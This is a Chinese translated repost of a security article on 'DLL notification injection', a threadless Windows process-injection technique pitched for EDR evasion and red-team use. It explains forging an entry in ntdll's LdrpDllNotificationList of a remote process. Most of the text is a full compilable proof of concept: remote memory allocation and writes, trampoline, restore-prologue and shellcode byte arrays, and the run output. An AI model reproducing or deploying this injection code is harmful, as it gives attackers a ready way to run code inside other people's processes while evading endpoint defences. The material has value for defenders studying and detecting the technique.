DLL通知注入:把伪造条目塞进ntdll的加载器回调链表

admin 2026-12-06 02:30:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

DLL 通知注入:把伪造条目塞进 ntdll 的加载器回调链表

S12
S12

赛博生存指南

2026年12月4日 12:31
浙江

去阅读

原文:https://medium.com/@s12deff/dll-notification-injection-3ab446d1bc7d
作者:S12 - 0x12Dark Development(原始研究 Dec0ne)
发布时间:2026-12-03
翻译模型:GLM-5.4
质量评分:★★★½(3.5/5) | 标签:进程注入 · EDR 绕过 · 红队工具链

AI 摘要:一篇讲解 threadless 注入的复现文:往远程进程 ntdll 私有的 LdrpDllNotificationList 双向链表头部插一个伪造的 LDR_DLL_NOTIFICATION_ENTRY,Callback 指向 trampoline,目标进程下次加载或卸载任何 DLL 时由加载器代替攻击者触发 shellcode。附完整可编译的 PoC(241 行)、trampoline 与 restore prologue 的逐字节构造,以及检测沙箱的提交结果。

这篇的技术源头是 Dec0ne 2023 年公开的 DLL Notification Injection,S12 做的是讲解与复现,不是一手研究,所以评了三星半。它在本仓库「loader 侧劫持」这条线上的位置很清楚:11-28 的进程反射注入与 11-30 的 LdrCallEnclave 之后,这是第三个不开新线程的落点。值得逐字读的是 trampoline 与 restore prologue 的逐字节构造(这类细节通常只留在代码里),以及第 4 步两次指针覆写的先后:链表在写入过程中会短暂不自洽,restore prologue 兜的就是这个窗口。

引言

大多数经典进程注入技术有一个共同点:在目标进程里新建一个线程。CreateRemoteThread、NtCreateThreadEx、RtlCreateUserThread 全是这样。threadless(无线程)注入想绕开这一层,改为劫持目标进程里已经存在的执行路径。

本篇讲的正是后者:往远程进程的 DLL 通知回调链表(LdrpDllNotificationList)里插一个恶意条目。只要目标进程加载或卸载任何一个 DLL,Windows 加载器就会遍历这张表、调用每一个已注册的回调。我们注入的回调指向自己的 shellcode。

Windows 以 LdrRegisterDllNotification 与 LdrUnregisterDllNotification 两个 API 提供 DLL 加载与卸载通知。已注册回调的链表存放在 ntdll.dll 私有的 LdrpDllNotificationList 里,是一个由 LDR_DLL_NOTIFICATION_ENTRY 结构组成的双向链表。

每个条目的结构是这样的:

typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
    LIST_ENTRY List;
    PLDR_DLL_NOTIFICATION_FUNCTION Callback;
    PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, *PLDR_DLL_NOTIFICATION_ENTRY;

只要我们能往远程进程写一个伪造条目、并把它接到这张表上,加载器下次加载任何 DLL 时就会调用我们的回调,触发 shellcode。

方法

整套技术可以拆成五步。

1. 找到 LdrpDllNotificationList 的表头

LdrpDllNotificationList 没有导出。做法是在本地进程用 LdrRegisterDllNotification 注册一个哑回调,返回的 cookie 就是刚注册的 LDR_DLL_NOTIFICATION_ENTRY 的指针。

由于条目是前插的,cookie 的 List.Flink 指向表头。记下这个地址,然后立刻用 LdrUnregisterDllNotification 注销。

cookie->List.Flink == LdrpDllNotificationList head

2. 假定远程进程共用同一个偏移

本地与远程进程都在一致的基址上加载 ntdll.dll,因此同一次开机内,LdrpDllNotificationList 相对 ntdll 基址的偏移在每个进程里都相同。

3. 在远程进程里分配 shellcode 与 trampoline

要往远程进程写三样东西:

  • Trampoline:一小段 shellcode stub,调用 TpAllocWork 把 restore prologue 与恶意 shellcode 作为线程池工作项排队
  • Restore prologue:在控制流到达 shellcode 之前,把两个链表指针(Flink/Blink)改回原值,让链表看起来完好
  • Shellcode:真正的载荷

4. 构造并插入伪造的 LDR\_DLL\_NOTIFICATION\_ENTRY

新建一个 LDR_DLL_NOTIFICATION_ENTRY,其 Callback 字段指向 trampoline。把它插到链表头部,靠三步完成:

  • 把 newEntry.List.Flink 设为原来的第一个条目
  • 把 newEntry.List.Blink 设为表头
  • 用新条目的远程地址覆写 head->Flink 与 originalFirst->Blink

5. 触发

目标进程下次加载或卸载任何 DLL 时,加载器遍历 LdrpDllNotificationList 走到我们的条目,调用 trampoline。restore prologue 修复链表,trampoline 再通过线程池把 shellcode 排队执行。

实现

找到 LdrpDllNotificationList 的表头

PLIST_ENTRY GetDllNotificationListHead() {
    PLIST_ENTRY head = 0;

    HMODULE hNtdll = GetModuleHandleA(\"NTDLL.dll\");

    if (hNtdll != NULL) {
        _LdrRegisterDllNotification pLdrRegisterDllNotification =
            (_LdrRegisterDllNotification)GetProcAddress(hNtdll, \"LdrRegisterDllNotification\");

        _LdrUnregisterDllNotification pLdrUnregisterDllNotification =
            (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, \"LdrUnregisterDllNotification\");

        PVOID cookie;
        NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
        if (status == 0) {
            // cookie is the last registered entry
            // its Flink points to the head of the list
            head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;

            pLdrUnregisterDllNotification(cookie);
        }
    }

    return head;
}

哑回调纯粹是为了拿到一个能用来定位表头的指针,注册后立刻注销。

读取远程链表

动任何东西之前,先从远程进程读出链表的原始状态:

BYTE* remoteHeadEntry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));

ReadProcessMemory(hProc, headAddress, remoteHeadEntry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);

// The original first entry address
LPVOID originalFirst = ((PLDR_DLL_NOTIFICATION_ENTRY)remoteHeadEntry)->List.Flink;

构造 restore prologue

restore prologue 是一小段 shellcode 缓冲,在 trampoline 把控制权交给真正的 shellcode 之前,把被改过的两个链表指针改回原值:

unsigned char restore[] = {
    0x41, 0x56, // push r14
    0x49, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, // mov r14, Flink>
    0x41, 0xC7, 0x06, 0x44, 0x33, 0x22, 0x11, // mov dword [r14], <original value low>
    0x41, 0xC7, 0x46, 0x04, 0x44, 0x33, 0x22, 0x11, // mov dword [r14+4], <original value high>
    0x49, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, // mov r14, Blink>
    0x41, 0xC7, 0x06, 0x44, 0x33, 0x22, 0x11, // mov dword [r14], <original value low>
    0x41, 0xC7, 0x46, 0x04, 0x44, 0x33, 0x22, 0x11, // mov dword [r14+4], <original value high>
    0x41, 0x5e, // pop r14
};

占位字节(0x11、0x22……)在运行时用实际地址与原值覆写,这些值在注入前从远程进程读出。

插入条目

LDR_DLL_NOTIFICATION_ENTRY newEntry = {};
newEntry.Callback = (PLDR_DLL_NOTIFICATION_FUNCTION)trampolineEx;
newEntry.List.Blink = (PLIST_ENTRY)headAddress;
newEntry.List.Flink = ((PLDR_DLL_NOTIFICATION_ENTRY)remoteHeadEntry)->List.Flink;

LPVOID newEntryAddress = VirtualAllocEx(hProc, 0, sizeof(LDR_DLL_NOTIFICATION_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

WriteProcessMemory(hProc, newEntryAddress, &newEntry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);

// Patch head->Flink
WriteProcessMemory(hProc, previousEntryFlink, &newEntryAddress, 8, nullptr);

// Patch originalFirst->Blink
WriteProcessMemory(hProc, nextEntryBlink, &newEntryAddress, 8, nullptr);

条目此时已经在目标进程的加载器链表里。

完整代码

原作者的完整 PoC 在 GitHub 上:

Dec0ne 的仓库https://github.com/Dec0ne/DllNotificationInjection

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <string>
#include \"nt.h\"

int getPIDbyProcName(const std::string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        std::wstring wideProcName(procName.begin(), procName.end());
        do {
            if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe32) != FALSE);
    }

    CloseHandle(hSnap);
    return pid;
}

BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask)
{
    for (; *szMask; ++szMask, ++pData, ++bMask)
        if (*szMask == 'x' && *pData != *bMask)
            return FALSE;
    return TRUE;
}

DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask)
{
    for (DWORD i = 0; i < dwLen; i++)
        if (MaskCompare((PBYTE)(dwAddress + i), bMask, szMask))
            return (DWORD_PTR)(dwAddress + i);

    return 0;
}

// Our dummy callback function
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
    return;
}

// Get LdrpDllNotificationList head address
PLIST_ENTRY GetDllNotificationListHead() {
    PLIST_ENTRY head = 0;

    // Get handle of ntdll
    HMODULE hNtdll = GetModuleHandleA(\"NTDLL.dll\");

    if (hNtdll != NULL) {

        // find LdrRegisterDllNotification function
        _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, \"LdrRegisterDllNotification\");

        // find LdrUnregisterDllNotification function
        _LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, \"LdrUnregisterDllNotification\");

        // Register our dummy callback function as a DLL Notification Callback
        PVOID cookie;
        NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
        if (status == 0) {
            printf(\"[+] Successfully registered dummy callback\
\");

            // Cookie is the last callback registered so its Flink holds the head of the list.
            head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
            printf(\"[+] Found LdrpDllNotificationList head: 0x%p\
\", head);

            // Unregister our dummy callback function
            status = pLdrUnregisterDllNotification(cookie);
            if (status == 0) {
                printf(\"[+] Successfully unregistered dummy callback\
\");
            }
        }
    }

    return head;
}

// Print LdrpDllNotificationList of a remote process
void PrintDllNotificationList(HANDLE hProc, LPVOID remoteHeadAddress) {
    printf(\"\
\");
    printf(\"[+] Remote DLL Notification Block List:\
\");

    // Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
    BYTE* entry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));

    // Read the head entry from the remote process
    ReadProcessMemory(hProc, remoteHeadAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
    LPVOID currentEntryAddress = remoteHeadAddress;
    do {

        // print the addresses of the LDR_DLL_NOTIFICATION_ENTRY and its callback function
        printf(\"    0x%p -> 0x%p\
\", currentEntryAddress, ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->Callback);

        // Get the address of the next callback in the list
        currentEntryAddress = ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->List.Flink;

        // Read the next callback in the list
        ReadProcessMemory(hProc, currentEntryAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);

    } while ((PLIST_ENTRY)currentEntryAddress != remoteHeadAddress); // Stop when we reach the head of the list again

    free(entry);

    printf(\"\
\");
}

// Pop Calc.exe Shellcode from Sektor7
// Please note that this shellcode is not thread safe and is exiting the process upon execution - obviously you should replace it
unsigned char shellcode[276] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c,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5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x0 };

unsigned char restore[] = {
    0x41, 0x56,              // push r14
    0x49, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,  // move r14, 0x1122334455667788
    0x41, 0xC7, 0x06, 0x44, 0x33, 0x22, 0x11,      // mov dword [r14], 0x11223344
    0x41, 0xC7, 0x46, 0x04, 0x44, 0x33, 0x22, 0x11,     // mov dword [r14+4], 0x11223344
    0x49, 0xBE, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,  // move r14, 0x1122334455667788
    0x41, 0xC7, 0x06, 0x44, 0x33, 0x22, 0x11,      // mov dword [r14], 0x11223344
    0x41, 0xC7, 0x46, 0x04, 0x44, 0x33, 0x22, 0x11,     // mov dword [r14+4], 0x11223344
    0x41, 0x5e,              // pop r14
};

// Trampoline shellcode for creating TpAllocWork for our restore prologue and malicious shellcode
// Created using https://github.com/Cracked5pider/ShellcodeTemplate
unsigned char trampoline[] = { 0x56, 0x48, 0x89, 0xe6, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0xf, 0x0, 0x0, 0x0, 0x48, 0x89, 0xf4, 0x5e, 0xc3, 0x66, 0x2e, 0xf, 0x1f, 0x84, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x55, 0xb9, 0xf0, 0x1d, 0xd3, 0xad, 0x41, 0x54, 0x57, 0x56, 0x53, 0x31, 0xdb, 0x48, 0x83, 0xec, 0x30, 0xe8, 0xf9, 0x0, 0x0, 0x0, 0xb9, 0x53, 0x17, 0xe6, 0x70, 0x49, 0x89, 0xc5, 0xe8, 0xec, 0x0, 0x0, 0x0, 0x49, 0x89, 0xc4, 0x4d, 0x85, 0xed, 0x74, 0x10, 0xba, 0xda, 0xb3, 0xf1, 0xd, 0x4c, 0x89, 0xe9, 0xe8, 0x28, 0x1, 0x0, 0x0, 0x48, 0x89, 0xc3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c1, 0x41, 0xc1, 0xe2, 0x5, 0x44, 0x1, 0xd0, 0x1, 0xc2, 0xeb, 0xc4, 0x89, 0xd0, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x57, 0x56, 0x48, 0x89, 0xce, 0x53, 0x48, 0x83, 0xec, 0x20, 0x65, 0x48, 0x8b, 0x4, 0x25, 0x60, 0x0, 0x0, 0x0, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x20, 0x48, 0x89, 0xfb, 0xf, 0xb7, 0x53, 0x48, 0x48, 0x8b, 0x4b, 0x50, 0xe8, 0x85, 0xff, 0xff, 0xff, 0x89, 0xc0, 0x48, 0x39, 0xf0, 0x75, 0x6, 0x48, 0x8b, 0x43, 0x20, 0xeb, 0x11, 0x48, 0x8b, 0x1b, 0x48, 0x85, 0xdb, 0x74, 0x5, 0x48, 0x39, 0xdf, 0x75, 0xd9, 0x48, 0x83, 0xc8, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x5e, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x49, 0x89, 0xd6, 0x41, 0x55, 0x41, 0x54, 0x55, 0x31, 0xed, 0x57, 0x56, 0x53, 0x48, 0x89, 0xcb, 0x48, 0x83, 0xec, 0x28, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0xbc, 0x8, 0x88, 0x0, 0x0, 0x0, 0x48, 0x1, 0xcf, 0x44, 0x8b, 0x7f, 0x20, 0x44, 0x8b, 0x67, 0x1c, 0x44, 0x8b, 0x6f, 0x24, 0x49, 0x1, 0xcf, 0x39, 0x6f, 0x18, 0x76, 0x31, 0x89, 0xee, 0x31, 0xd2, 0x41, 0x8b, 0xc, 0xb7, 0x48, 0x1, 0xd9, 0xe8, 0x15, 0xff, 0xff, 0xff, 0x4c, 0x39, 0xf0, 0x75, 0x18, 0x48, 0x1, 0xf6, 0x48, 0x1, 0xde, 0x42, 0xf, 0xb7, 0x4, 0x2e, 0x48, 0x8d, 0x4, 0x83, 0x42, 0x8b, 0x4, 0x20, 0x48, 0x1, 0xd8, 0xeb, 0x4, 0xff, 0xc5, 0xeb, 0xca, 0x48, 0x83, 0xc4, 0x28, 0x5b, 0x5e, 0x5f, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x90, 0x90, 0x90, 0xe8, 0x0, 0x0, 0x0, 0x0, 0x58, 0x48, 0x83, 0xe8, 0x5, 0xc3, 0xf, 0x1f, 0x44, 0x0 };

int main(){
    // Get local LdrpDllNotificationList head address
    LPVOID headAddress = (LPVOID)GetDllNotificationListHead();
    printf(\"[+] LdrpDllNotificationList head address: 0x%p\
\", headAddress);

    // Open handle to remote process
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, getPIDbyProcName(\"Notepad.exe\"));
    printf(\"[+] Got handle to remote process\
\");

    // Print the remote Dll Notification List
    PrintDllNotificationList(hProc, headAddress);

    // Allocate memory for our trampoline + restore prologue + shellcode in the remote process
    LPVOID trampolineEx = VirtualAllocEx(hProc, 0, sizeof(restore) + sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    printf(\"[+] Allocated memory for restore trampoline + prologue + shellcode in remote process\
\");
    printf(\"[+] Trampoline address in remote process: 0x%p\
\", trampolineEx);

    // Offset the size of the trampoline to get the restore prologue address
    LPVOID restoreEx = (BYTE*)trampolineEx + sizeof(trampoline);
    printf(\"[+] Restore prologue address in remote process: 0x%p\
\", restoreEx);

    // Offset the size of the trampoline and restore prologue to get the shellcode address
    LPVOID shellcodeEx = (BYTE*)trampolineEx + sizeof(trampoline) + sizeof(restore);
    printf(\"[+] Shellcode address in remote process: 0x%p\
\", shellcodeEx);

    // Find our restoreEx place holder in the trampoline shellcode
    LPVOID restoreExInTrampoline = (LPVOID)FindPattern((DWORD_PTR)&trampoline, sizeof(trampoline), (PBYTE)\"\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\", (PCHAR)\"xxxxxxxx\");

    // Overwrite our restoreEx place holder with the address of our restore prologue
    memcpy(restoreExInTrampoline, &restoreEx, 8);

    // Write the trampoline shellcode to the remote process
    WriteProcessMemory(hProc, trampolineEx, trampoline, sizeof(trampoline), nullptr);
    printf(\"[+] trampoline has been written to remote process: 0x%p\
\", trampolineEx);

    // Write the shellcode to the remote process
    WriteProcessMemory(hProc, shellcodeEx, shellcode, sizeof(shellcode), nullptr);
    printf(\"[+] Shellcode has been written to remote process: 0x%p\
\", shellcodeEx);

    // Create a new LDR_DLL_NOTIFICATION_ENTRY
    LDR_DLL_NOTIFICATION_ENTRY newEntry = {};
    newEntry.Context = NULL;

    // Set the Callback attribute to point to our trampoline
    newEntry.Callback = (PLDR_DLL_NOTIFICATION_FUNCTION)trampolineEx;

    // We want our new entry to be the first in the list
    // so its List.Blink attribute should point to the head of the list
    newEntry.List.Blink = (PLIST_ENTRY)headAddress;

    // Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
    BYTE* remoteHeadEntry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));

    // Read the head entry from the remote process
    ReadProcessMemory(hProc, headAddress, remoteHeadEntry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);

    // Set the new entry's List.Flink attribute to point to the original first entry in the list
    newEntry.List.Flink = ((PLDR_DLL_NOTIFICATION_ENTRY)remoteHeadEntry)->List.Flink;

    // Allocate memory for our new entry
    LPVOID newEntryAddress = VirtualAllocEx(hProc, 0, sizeof(LDR_DLL_NOTIFICATION_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf(\"[+] Allocated memory for new entry in remote process: 0x%p\
\", newEntryAddress);

    // Write our new entry to the remote process
    WriteProcessMemory(hProc, (BYTE*)newEntryAddress, &newEntry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
    printf(\"[+] New entry has been written to remote process: 0x%p\
\", newEntryAddress);

    // Calculate the addresses we need to overwrite with our new entry's address
    // The previous entry's Flink (head) and the next entry's Blink (original 1st entry)
    LPVOID previousEntryFlink = (LPVOID)((BYTE*)headAddress + offsetof(LDR_DLL_NOTIFICATION_ENTRY, List) + offsetof(LIST_ENTRY, Flink));
    LPVOID nextEntryBlink = (LPVOID)((BYTE*)((PLDR_DLL_NOTIFICATION_ENTRY)remoteHeadEntry)->List.Flink + offsetof(LDR_DLL_NOTIFICATION_ENTRY, List) + offsetof(LIST_ENTRY, Blink));

    // buffer for the original values we are goind to overwrite
    unsigned char originalValue[8] = {};

    // Read the original value of the previous entry's Flink (head)
    ReadProcessMemory(hProc, previousEntryFlink, &originalValue, 8, nullptr);
    memcpy(&restore[4], &previousEntryFlink, 8); // Set address to restore for previous entry's Flink (head)
    memcpy(&restore[15], &originalValue[0], 4); // Set the value to restore (1st half of value)
    memcpy(&restore[23], &originalValue[4], 4); // Set the value to restore (2nd half of value)

    // Read the original value the next entry's Blink (original 1st entry)
    ReadProcessMemory(hProc, nextEntryBlink, &originalValue, 8, nullptr);
    memcpy(&restore[29], &nextEntryBlink, 8); // Set address to restore for next entry's Blink (original 1st entry)
    memcpy(&restore[40], &originalValue[0], 4); // Set the value to restore (1st half of value)
    memcpy(&restore[48], &originalValue[4], 4); // Set the value to restore (2nd half of value)

    // Write the restore prologue to the remote process
    WriteProcessMemory(hProc, restoreEx, restore, sizeof(restore), nullptr);
    printf(\"[+] Restore prologue has been written to remote process: 0x%p\
\", restoreEx);

    // Overwrite the previous entry's Flink (head) with our new entry's address
    WriteProcessMemory(hProc, previousEntryFlink, &newEntryAddress, 8, nullptr);

    // Overwrite the next entry's Blink (original 1st entry) with our new entry's address
    WriteProcessMemory(hProc, nextEntryBlink, &newEntryAddress, 8, nullptr);

    printf(\"[+] LdrpDllNotificationList has been modified.\
\");
    printf(\"[+] Our new entry has been inserted.\
\");

    // Print the remote Dll Notification List
    PrintDllNotificationList(hProc, headAddress);

}

PoC 输出

[+] Successfully registered dummy callback
[+] Found LdrpDllNotificationList head: 0x00007FF8EF9C18C0
[+] Successfully unregistered dummy callback
[+] LdrpDllNotificationList head address: 0x00007FF8EF9C18C0
[+] Got handle to remote process

[+] Remote DLL Notification Block List:
    0x00007FF8EF9C18C0 -> 0x00007FF8EF9C9090

[+] Allocated memory for restore trampoline + prologue + shellcode in remote process
[+] Trampoline address in remote process: 0x000002A969120000
[+] Restore prologue address in remote process: 0x000002A96912020F
[+] Shellcode address in remote process: 0x000002A969120245
[+] trampoline has been written to remote process: 0x000002A969120000
[+] Shellcode has been written to remote process: 0x000002A969120245
[+] Allocated memory for new entry in remote process: 0x000002A969130000
[+] New entry has been written to remote process: 0x000002A969130000
[+] Restore prologue has been written to remote process: 0x000002A96912020F
[+] LdrpDllNotificationList has been modified.
[+] Our new entry has been inserted.

[+] Remote DLL Notification Block List:
    0x00007FF8EF9C18C0 -> 0x00007FF8EF9C9090
    0x000002A969130000 -> 0x000002A969120000

检测

原文给出的检测提交结果在 0x12 沙箱:

检测结果https://0x12darksandbox.net/results/605

结语

DLL 通知注入是「Windows 自己的内部机制被反过来用」的一个干净样本:往加载器的链表里插一个伪造的 LDR_DLL_NOTIFICATION_ENTRY,就拿到了远程进程里的代码执行。

参考

  • 原文:https://medium.com/@s12deff/dll-notification-injection-3ab446d1bc7d
  • Dec0ne 原始 PoC:https://github.com/Dec0ne/DllNotificationInjection
  • 检测沙箱结果:https://0x12darksandbox.net/results/605
  • 本仓库同系列:11-28《进程反射注入》、11-30《LdrCallEnclave 执行 shellcode》

    评论:0   参与:  0